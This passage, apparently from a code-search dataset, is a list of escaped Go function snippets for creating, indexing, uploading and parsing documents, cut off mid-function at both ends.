tokenize(content)\n\tc.addDocument(name, doc)\n}","func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}","func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\n\treturn nil\n}","func newDoc(c *gin.Context) {\n\tkey := uuid.New()\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tif res.Message == \"file exists\" {\n\t\t\tc.JSON(fileExistsErr, res)\n\t\t} else {\n\t\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\t\tc.JSON(statusErr, res)\n\t\t}\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}","func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tif _, ok := this.Docs[docId]; ok {\n\t\tlog.Warningf(\"document %d already exists, associated value will be overwritten\")\n\t}\n\tthis.Docs[docId] = wcs\n}","func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}","func (d *Doc) AddText(x, y float64, content string) error {\n\td.SetPosition(x, y)\n\tif err := d.GoPdf.Cell(nil, content); err != nil {\n\t\treturn fmt.Errorf(\"error adding text to PDF: %s\", err)\n\t}\n\treturn nil\n}","func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\n\tid := &indexedDocument{\n\t\tTokens: make([]indexedToken, 0, len(d.Tokens)),\n\t\tdict: c.dict,\n\t}\n\n\tfor _, t := range d.Tokens {\n\t\tvar tokID tokenID\n\t\tif addWords {\n\t\t\ttokID = id.dict.add(t.Text)\n\t\t} else {\n\t\t\ttokID = id.dict.getIndex(t.Text)\n\t\t}\n\n\t\tid.Tokens = append(id.Tokens, indexedToken{\n\t\t\tIndex: t.Index,\n\t\t\tLine: t.Line,\n\t\t\tID: tokID,\n\t\t})\n\n\t}\n\tid.generateFrequencies()\n\tid.runes = diffWordsToRunes(id, 0, id.size())\n\tid.norm = id.normalized()\n\treturn id\n}","func (x *Indexer) Add(doc *Doc) error {\n\tdid, err := x.doc2Id(doc)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdoc.Path = \"\"\n\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\n\treturn nil\n}","func(s *SetImp) AddString(doc string, t TargetFactory) (string, os.Error) {\n\tsplit := strings.SplitAfter(doc, \"\\n\", 0)\n\treturn s.Add(split, t)\n}","func AddDocumentary(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\tvar data models.Documentary\n\terr := decoder.Decode(&data)\n\n\tif err != nil {\n\t\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tdocumentary, err := watchlist.AddDocumentary(data, r)\n\n\tif err != nil {\n\t\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\thttpext.SuccessDataAPI(w, \"'\"+documentary.Title+\"' added succesfully\", documentary)\n}","func (d *Document) Add() *Document {\n\treturn d\n}","func SaveQueryTextWordMatch(q *QueryTextWordMatch) {\n\tsession, err := mgo.Dial(\"mongodb://localhost\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer session.Close()\n\n\tcollQueriesTextWordMatch := common.GetCollection(session, \"queries.textwordmatch\")\n\n\terr = collQueriesTextWordMatch.Insert(q)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func (this *WordDictionary) AddWord(word string) {\n \n}","func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\n\tcreateDocument(uuid.New().String(), w, r)\n}","func (ts *TechStoryService) addText (w http.ResponseWriter, r *http.Request) {\n\tvar techStory model.TechStory\n\ttechStory.Key = mux.Vars(r)[\"id\"]\n\n\tvar text model.VersionedText\n\tmodel.ReadJsonBody(r, &text)\n\tWithTechStoryDao(func(dao techStoryDao) {\n\t\tvtext := dao.AddText(techStory, text.Text)\n\t\tmodel.WriteResponse(true, nil, vtext, w)\n\t})\n}","func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\n\tdb.currentId += 1\n\tt.Id = string(db.currentId)\n\tdb.documents = append(db.documents, t)\n\treturn t, nil\n}","func loadDocument(id, sc, fields interface{}) (index.Document, error) {\n\n\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\n\tif err != nil {\n\t\treturn index.Document{}, fmt.Errorf(\"Could not parse score: %s\", err)\n\t}\n\n\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\n\tlst := fields.([]interface{})\n\tfor i := 0; i < len(lst); i += 2 {\n\t\tprop := string(lst[i].([]byte))\n\t\tvar val interface{}\n\t\tswitch v := lst[i+1].(type) {\n\t\tcase []byte:\n\t\t\tval = string(v)\n\t\tdefault:\n\t\t\tval = v\n\n\t\t}\n\t\tdoc = doc.Set(prop, val)\n\t}\n\treturn doc, nil\n}","func newDocWithId(c *gin.Context) {\n\tkey := c.Params.ByName(\"id\")\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\tc.JSON(statusErr, res)\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}","func (t *TrigramIndex) Add(doc string) int {\n\tnewDocID := t.maxDocID + 1\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tvar mapRet IndexResult\n\t\tvar exist bool\n\t\tif mapRet, exist = t.TrigramMap[tg]; !exist {\n\t\t\t//New doc ID handle\n\t\t\tmapRet = IndexResult{}\n\t\t\tmapRet.DocIDs = make(map[int]bool)\n\t\t\tmapRet.Freq = make(map[int]int)\n\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\tmapRet.Freq[newDocID] = 1\n\t\t} else {\n\t\t\t//trigram already exist on this doc\n\t\t\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\n\t\t\t\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\n\t\t\t} else {\n\t\t\t\t//tg eixist but new doc id is not exist, add it\n\t\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\t\tmapRet.Freq[newDocID] = 1\n\t\t\t}\n\t\t}\n\t\t//Store or Add result\n\t\tt.TrigramMap[tg] = mapRet\n\t}\n\n\tt.maxDocID = newDocID\n\tt.docIDsMap[newDocID] = true\n\treturn newDocID\n}","func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\n\treturn s.pendingDocSrv.Create(ctx, req)\n}","func NewDocument(ctx *pulumi.Context,\n\tname string, args *DocumentArgs, opts ...pulumi.ResourceOption) (*Document, error) {\n\tif args == nil || args.Content == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Content'\")\n\t}\n\tif args == nil || args.DocumentType == nil {\n\t\treturn nil, errors.New(\"missing required argument 'DocumentType'\")\n\t}\n\tif args == nil {\n\t\targs = &DocumentArgs{}\n\t}\n\tvar resource Document\n\terr := ctx.RegisterResource(\"aws:ssm/document:Document\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}","func (s *BoltBackedService) PostDocument(ctx context.Context, d *Document) error {\n\tif err := d.SaveDoc(*s.db); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}","func CreateDocument(name, number, categoryUID string, fields map[string]string, document []byte) (Document, error) {\n\tvar doc Document\n\tuid, err := uuid.NewV4()\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\tdoc.UID = \"doc\" + uid.String()\n\tdoc.Name = name\n\tdoc.Number = number\n\tdoc.Fields = fields\n\tdoc.Doc = document\n\tcategory, err := GetCategory(categoryUID)\n\tdoc.Category = category\n\tdoc.Doc = document\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\terr = database.DATABASE.Set(doc.UID, doc)\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\treturn doc, nil\n}","func NewDocument() *Document {\n\treturn &Document{documents: make(map[string]flare.Document)}\n}","func (manager *defaultDocumentManager) Register(targetDocument string, document interface{}) error {\n\tdocumentType := reflect.TypeOf(document)\n\tif documentType.Kind() != reflect.Ptr {\n\t\treturn ErrNotAPointer\n\t}\n\tif documentType.Elem().Kind() != reflect.Struct {\n\t\treturn ErrNotAstruct\n\t}\n\tmeta, err := getTypeMetadatas(document)\n\tif err != nil {\n\t\treturn err\n\t}\n\tmeta.structType = documentType\n\tmeta.targetDocument = targetDocument\n\t// parser := tag.NewParser(strings.NewReader(s string) )\n\tmanager.metadatas[documentType] = meta\n\n\tmanager.log(\"Type registered :\", targetDocument, meta)\n\treturn nil\n}","func (b *Batch) Add(fields map[string]interface{}, tags []string, body string) {\n\tb.docs = append(b.docs, massDoc{fields: fields, tags: tags, body: body})\n}","func NewDocument(ctx *pulumi.Context,\n\tname string, args *DocumentArgs, opts ...pulumi.ResourceOpt) (*Document, error) {\n\tif args == nil || args.Content == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Content'\")\n\t}\n\tif args == nil || args.DocumentType == nil {\n\t\treturn nil, errors.New(\"missing required argument 'DocumentType'\")\n\t}\n\tinputs := make(map[string]interface{})\n\tif args == nil {\n\t\tinputs[\"content\"] = nil\n\t\tinputs[\"documentFormat\"] = nil\n\t\tinputs[\"documentType\"] = nil\n\t\tinputs[\"name\"] = nil\n\t\tinputs[\"permissions\"] = nil\n\t\tinputs[\"tags\"] = nil\n\t} else {\n\t\tinputs[\"content\"] = args.Content\n\t\tinputs[\"documentFormat\"] = args.DocumentFormat\n\t\tinputs[\"documentType\"] = args.DocumentType\n\t\tinputs[\"name\"] = args.Name\n\t\tinputs[\"permissions\"] = args.Permissions\n\t\tinputs[\"tags\"] = args.Tags\n\t}\n\tinputs[\"arn\"] = nil\n\tinputs[\"createdDate\"] = nil\n\tinputs[\"defaultVersion\"] = nil\n\tinputs[\"description\"] = nil\n\tinputs[\"hash\"] = nil\n\tinputs[\"hashType\"] = nil\n\tinputs[\"latestVersion\"] = nil\n\tinputs[\"owner\"] = nil\n\tinputs[\"parameters\"] = nil\n\tinputs[\"platformTypes\"] = nil\n\tinputs[\"schemaVersion\"] = nil\n\tinputs[\"status\"] = nil\n\ts, err := ctx.RegisterResource(\"aws:ssm/document:Document\", name, true, inputs, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Document{s: s}, nil\n}","func NewDocument(chainDoc *ChainDocument) *Document {\n\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\n\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\n\n\tfor i, chainContentGroup := range chainDoc.ContentGroups {\n\t\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\n\t}\n\n\tfor i, chainCertificate := range chainDoc.Certificates {\n\t\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\n\t}\n\n\treturn &Document{\n\t\tHash: chainDoc.Hash,\n\t\tCreatedDate: ToTime(chainDoc.CreatedDate),\n\t\tCreator: chainDoc.Creator,\n\t\tContentGroups: contentGroups,\n\t\tCertificates: certificates,\n\t\tDType: []string{\"Document\"},\n\t}\n}","func NewDocument(url, site, title, content string) *Document {\n\tdoc := new(Document)\n\tdoc.DocID = uuid.NewV4().String()\n\tdoc.Url = url\n\tdoc.Site = site\n\tdoc.Title = title\n\tdoc.Content = content\n\n\treturn doc\n}","func (sc *SolrConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\n\trecvChan := make(chan []byte)\n\n\tvar err error\n\t// todo: size constrain should be placed here\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error occured, uploading document failed\")\n\t\t}\n\t}()\n\tgo func(rC chan []byte) {\n\t\tb, err := json.Marshal(container)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed at marshaling json structure, \", err)\n\t\t}\n\n\t\trespB, err := sc.PostUpdate(b)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\trC <- respB\n\t}(recvChan)\n\treturn recvChan\n}","func NewDocumentFromString(filename, data string) (Document, error) {\n\tif len(data) == 0 {\n\t\treturn nil, fmt.Errorf(\"%s: string is empty\", filename)\n\t}\n\treturn &documentFromString{\n\t\tdata,\n\t\t&document{filename},\n\t}, nil\n}","func (t *TextUpdateSystem) Add(text *Text) {\n\tt.entities = append(t.entities, textEntity{text})\n}","func (sc *ESConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\n\trecvChan := make(chan []byte)\n\n\tvar err error\n\t// todo: size constrain should be placed here\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error occured, uploading document failed\")\n\t\t}\n\t}()\n\tgo func(rC chan []byte) {\n\t\tb, err := json.Marshal(container)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed at marshaling json structure, \", err)\n\t\t}\n\n\t\trespB, err := sc.PostUpdate(b)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\trC <- respB\n\t}(recvChan)\n\treturn recvChan\n}","func addToFile(text, path, fileName string) {\n\tfullPath := createFullPath(path, fileName)\n\t//Make sure that the file exists\n\tif !fileExists(path, fileName) {\n\t\tcreateFile(path, fileName)\n\t}\n\tfile, err := os.OpenFile(fullPath, os.O_APPEND, 0666)\n\tcheckError(err)\n\t_, err = file.WriteString(text)\n\tcheckError(err)\n}","func (s *Basegff3Listener) EnterDocument(ctx *DocumentContext) {}","func (c *Client) RecognizeText(ctx context.Context, params *RecognizeTextInput, optFns ...func(*Options)) (*RecognizeTextOutput, error) {\n\tif params == nil {\n\t\tparams = &RecognizeTextInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"RecognizeText\", params, optFns, addOperationRecognizeTextMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*RecognizeTextOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}","func (s *Service) MatchDocument(document documents.DocumentDescription, params map[string]string, response handle.ResponseHandle) error {\n\treturn matchDocument(s.client, document, params, response)\n}","func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}","func (api *api) addService(service string, templateText string) error {\n\tparts := strings.Split(service, \"/\")\n\tvar res []string\n\tfor _, part := range parts {\n\t\tif len(part) != 0 {\n\t\t\tres = append(res, url.QueryEscape(part))\n\t\t}\n\t}\n\tservice = strings.Join(res, \"/\")\n\ttempl := &template.Template{}\n\tt, err := templ.Parse(templateText)\n\tif err != nil {\n\t\treturn err\n\t}\n\tapi.Manager.Lock()\n\tdefer api.Manager.Unlock()\n\tvar hits uint64\n\tif v, ok := api.Manager.pathes[service]; ok {\n\t\thits = v.hits\n\t}\n\tapi.Manager.pathes[service] = &rool{content: templateText, Pattern: t, hits: hits}\n\treturn nil\n}","func (fm *FontManager) AddFont(pathToFontFile string) error {\n\tfontBytes, err := ioutil.ReadFile(pathToFontFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfont, err := truetype.Parse(fontBytes)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tfm.fontFiles = append(fm.fontFiles, pathToFontFile)\n\tfm.fontObjects[pathToFontFile] = font\n\n\treturn nil\n}","func ParseDocument(r io.Reader, config *configuration.Configuration, opts ...Option) (*types.Document, error) {\n\tdone := make(chan interface{})\n\tdefer close(done)\n\n\tfootnotes := types.NewFootnotes()\n\tdoc, err := Aggregate(NewParseContext(config, opts...),\n\t\t// SplitHeader(done,\n\t\tFilterOut(done,\n\t\t\tArrangeLists(done,\n\t\t\t\tCollectFootnotes(footnotes, done,\n\t\t\t\t\tApplySubstitutions(NewParseContext(config, opts...), done, // needs to be before 'ArrangeLists'\n\t\t\t\t\t\tRefineFragments(NewParseContext(config, opts...), r, done,\n\t\t\t\t\t\t\tParseDocumentFragments(NewParseContext(config, opts...), r, done),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t),\n\t\t// ),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(footnotes.Notes) > 0 {\n\t\tdoc.Footnotes = footnotes.Notes\n\t}\n\tif log.IsLevelEnabled(log.DebugLevel) {\n\t\tlog.Debugf(\"parsed document:\\n%s\", spew.Sdump(doc))\n\t}\n\treturn doc, nil\n}","func uploadDocument(c echo.Context) error {\n\n\tclaim, err := securityCheck(c, \"upload\")\n\tif err != nil {\n\t\treturn c.String(http.StatusUnauthorized, \"bye\")\n\t}\n\n\treq := c.Request()\n\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\n\n\tdoc := &DBdoc{}\n\tdoc.ID = 0\n\tdoc.Name = c.FormValue(\"desc\")\n\tdoc.Type = c.FormValue(\"type\")\n\tRev, _ := strconv.Atoi(c.FormValue(\"rev\"))\n\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\"ref_id\"))\n\tdoc.UserId, _ = getClaimedUser(claim)\n\tlog.Println(\"Passed bools\", c.FormValue(\"worker\"), c.FormValue(\"sitemgr\"), c.FormValue(\"contractor\"))\n\tdoc.Worker = (c.FormValue(\"worker\") == \"true\")\n\tdoc.Sitemgr = (c.FormValue(\"sitemgr\") == \"true\")\n\tdoc.Contractor = (c.FormValue(\"contractor\") == \"true\")\n\tdoc.Filesize = 0\n\n\t// make upload dir if not already there, ignore errors\n\tos.Mkdir(\"uploads\", 0666)\n\n\t// Read files\n\t// files := req.MultipartForm.File[\"file\"]\n\tfiles, _ := req.FormFile(\"file\")\n\tpath := \"\"\n\t//log.Println(\"files =\", files)\n\t// for _, f := range files {\n\tf := files\n\tdoc.Filename = f.Filename\n\n\t// Source file\n\tsrc, err := f.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer src.Close()\n\n\t// While filename exists, append a version number to it\n\tdoc.Path = \"uploads/\" + doc.Filename\n\tgotFile := false\n\trevID := 1\n\n\tfor !gotFile {\n\t\tlog.Println(\"Try with path=\", doc.Path)\n\t\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\n\t\tif err != nil {\n\t\t\tif os.IsExist(err) {\n\t\t\t\tlog.Println(doc.Path, \"already exists\")\n\t\t\t\tdoc.Path = fmt.Sprintf(\"uploads/%s.%d\", doc.Filename, revID)\n\t\t\t\trevID++\n\t\t\t\tif revID > 999 {\n\t\t\t\t\tlog.Println(\"RevID limit exceeded, terminating\")\n\t\t\t\t\treturn c.String(http.StatusBadRequest, doc.Path)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Println(\"Created file\", doc.Path)\n\t\t\tgotFile = true\n\t\t\tdefer dst.Close()\n\n\t\t\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// If we get here, then the file transfer is complete\n\n\t\t\t// If doc does not exist by this filename, create it\n\t\t\t// If doc does exist, create rev, and update header details of doc\n\n\t\t\tif Rev == 0 {\n\t\t\t\t// New doc\n\t\t\t\terr := DB.InsertInto(\"doc\").\n\t\t\t\t\tWhitelist(\"name\", \"filename\", \"path\", \"worker\", \"sitemgr\", \"contractor\", \"type\", \"ref_id\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(doc).\n\t\t\t\t\tReturning(\"id\").\n\t\t\t\t\tQueryScalar(&doc.ID)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting Record:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new doc with ID\", doc.ID)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Revision to existing doc\n\t\t\t\tdocRev := &DBdocRev{}\n\t\t\t\tdocRev.Path = doc.Path\n\t\t\t\tdocRev.Filename = doc.Filename\n\t\t\t\tdocRev.Filesize = doc.Filesize\n\t\t\t\tdocRev.DocId = doc.ID\n\t\t\t\tdocRev.ID = Rev\n\t\t\t\tdocRev.Descr = doc.Name\n\t\t\t\tdocRev.UserId = doc.UserId\n\n\t\t\t\t_, err := DB.InsertInto(\"doc_rev\").\n\t\t\t\t\tWhitelist(\"doc_id\", \"id\", \"descr\", \"filename\", \"path\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(docRev).\n\t\t\t\t\tExec()\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting revision:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new revision with ID\", docRev.ID)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t} // managed to create the new file\n\t\t// } // loop until we have created a file\n\t} // foreach file being uploaded this batch\n\n\treturn c.String(http.StatusOK, path)\n}","func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument) (string, error) {\n\treturn \"\", nil\n}","func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\n\terrors := make([]error, 0)\n\tx := &Document{}\n\tm, ok := compiler.UnpackMap(in)\n\tif !ok {\n\t\tmessage := fmt.Sprintf(\"has unexpected value: %+v (%T)\", in, in)\n\t\terrors = append(errors, compiler.NewError(context, message))\n\t} else {\n\t\trequiredKeys := []string{\"discoveryVersion\", \"kind\"}\n\t\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\n\t\tif len(missingKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"is missing required %s: %+v\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\tallowedKeys := []string{\"auth\", \"basePath\", \"baseUrl\", \"batchPath\", \"canonicalName\", \"description\", \"discoveryVersion\", \"documentationLink\", \"etag\", \"features\", \"fullyEncodeReservedExpansion\", \"icons\", \"id\", \"kind\", \"labels\", \"methods\", \"mtlsRootUrl\", \"name\", \"ownerDomain\", \"ownerName\", \"packagePath\", \"parameters\", \"protocol\", \"resources\", \"revision\", \"rootUrl\", \"schemas\", \"servicePath\", \"title\", \"version\", \"version_module\"}\n\t\tvar allowedPatterns []*regexp.Regexp\n\t\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\n\t\tif len(invalidKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"has invalid %s: %+v\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\t// string kind = 1;\n\t\tv1 := compiler.MapValueForKey(m, \"kind\")\n\t\tif v1 != nil {\n\t\t\tx.Kind, ok = compiler.StringForScalarNode(v1)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for kind: %s\", compiler.Display(v1))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string discovery_version = 2;\n\t\tv2 := compiler.MapValueForKey(m, \"discoveryVersion\")\n\t\tif v2 != nil {\n\t\t\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for discoveryVersion: %s\", compiler.Display(v2))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string id = 3;\n\t\tv3 := compiler.MapValueForKey(m, \"id\")\n\t\tif v3 != nil {\n\t\t\tx.Id, ok = compiler.StringForScalarNode(v3)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for id: %s\", compiler.Display(v3))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string name = 4;\n\t\tv4 := compiler.MapValueForKey(m, \"name\")\n\t\tif v4 != nil {\n\t\t\tx.Name, ok = compiler.StringForScalarNode(v4)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for name: %s\", compiler.Display(v4))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string version = 5;\n\t\tv5 := compiler.MapValueForKey(m, \"version\")\n\t\tif v5 != nil {\n\t\t\tx.Version, ok = compiler.StringForScalarNode(v5)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version: %s\", compiler.Display(v5))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string revision = 6;\n\t\tv6 := compiler.MapValueForKey(m, \"revision\")\n\t\tif v6 != nil {\n\t\t\tx.Revision, ok = compiler.StringForScalarNode(v6)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for revision: %s\", compiler.Display(v6))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string title = 7;\n\t\tv7 := compiler.MapValueForKey(m, \"title\")\n\t\tif v7 != nil {\n\t\t\tx.Title, ok = compiler.StringForScalarNode(v7)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for title: %s\", compiler.Display(v7))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string description = 8;\n\t\tv8 := compiler.MapValueForKey(m, \"description\")\n\t\tif v8 != nil {\n\t\t\tx.Description, ok = compiler.StringForScalarNode(v8)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for description: %s\", compiler.Display(v8))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Icons icons = 9;\n\t\tv9 := compiler.MapValueForKey(m, \"icons\")\n\t\tif v9 != nil {\n\t\t\tvar err error\n\t\t\tx.Icons, err = NewIcons(v9, compiler.NewContext(\"icons\", v9, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string documentation_link = 10;\n\t\tv10 := compiler.MapValueForKey(m, \"documentationLink\")\n\t\tif v10 != nil {\n\t\t\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for documentationLink: %s\", compiler.Display(v10))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// repeated string labels = 11;\n\t\tv11 := compiler.MapValueForKey(m, \"labels\")\n\t\tif v11 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v11)\n\t\t\tif ok {\n\t\t\t\tx.Labels = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for labels: %s\", compiler.Display(v11))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string protocol = 12;\n\t\tv12 := compiler.MapValueForKey(m, \"protocol\")\n\t\tif v12 != nil {\n\t\t\tx.Protocol, ok = compiler.StringForScalarNode(v12)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for protocol: %s\", compiler.Display(v12))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_url = 13;\n\t\tv13 := compiler.MapValueForKey(m, \"baseUrl\")\n\t\tif v13 != nil {\n\t\t\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for baseUrl: %s\", compiler.Display(v13))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_path = 14;\n\t\tv14 := compiler.MapValueForKey(m, \"basePath\")\n\t\tif v14 != nil {\n\t\t\tx.BasePath, ok = compiler.StringForScalarNode(v14)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for basePath: %s\", compiler.Display(v14))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string root_url = 15;\n\t\tv15 := compiler.MapValueForKey(m, \"rootUrl\")\n\t\tif v15 != nil {\n\t\t\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for rootUrl: %s\", compiler.Display(v15))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string service_path = 16;\n\t\tv16 := compiler.MapValueForKey(m, \"servicePath\")\n\t\tif v16 != nil {\n\t\t\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for servicePath: %s\", compiler.Display(v16))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string batch_path = 17;\n\t\tv17 := compiler.MapValueForKey(m, \"batchPath\")\n\t\tif v17 